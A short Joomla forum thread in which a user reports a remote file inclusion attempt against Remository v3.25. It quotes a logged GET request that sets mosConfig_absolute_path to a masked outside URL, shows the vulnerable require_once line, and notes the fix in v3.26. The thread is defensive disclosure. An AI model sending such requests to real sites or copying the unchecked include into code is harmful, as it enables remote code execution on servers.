Remository v3.25 vulnerability

kmekc · **Posted:** Fri Sep 01, 2006 11:14 am

64.6.15.28 - - [31/Aug/2006:17:01:25 +0200] "GET /administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://xxxxxxxxxxx/xxxxxx/xxxxxx HTTP/1.1" 403 27

As i looked into admin.remository.php:

Code:

require_once ($mosConfig_absolute_path.'/components/com_remository/com_remository_constants.php');

// Don't allow direct linking
defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

Fixed in v3.26

kmekc · **Posted:** Fri Sep 01, 2006 11:17 am

Oh now found the thread where this one has already posted

But Remository is also not in the official vulnerability list

Joomla! Discussion Forums

Remository v3.25 vulnerability

Quick reply

Who is online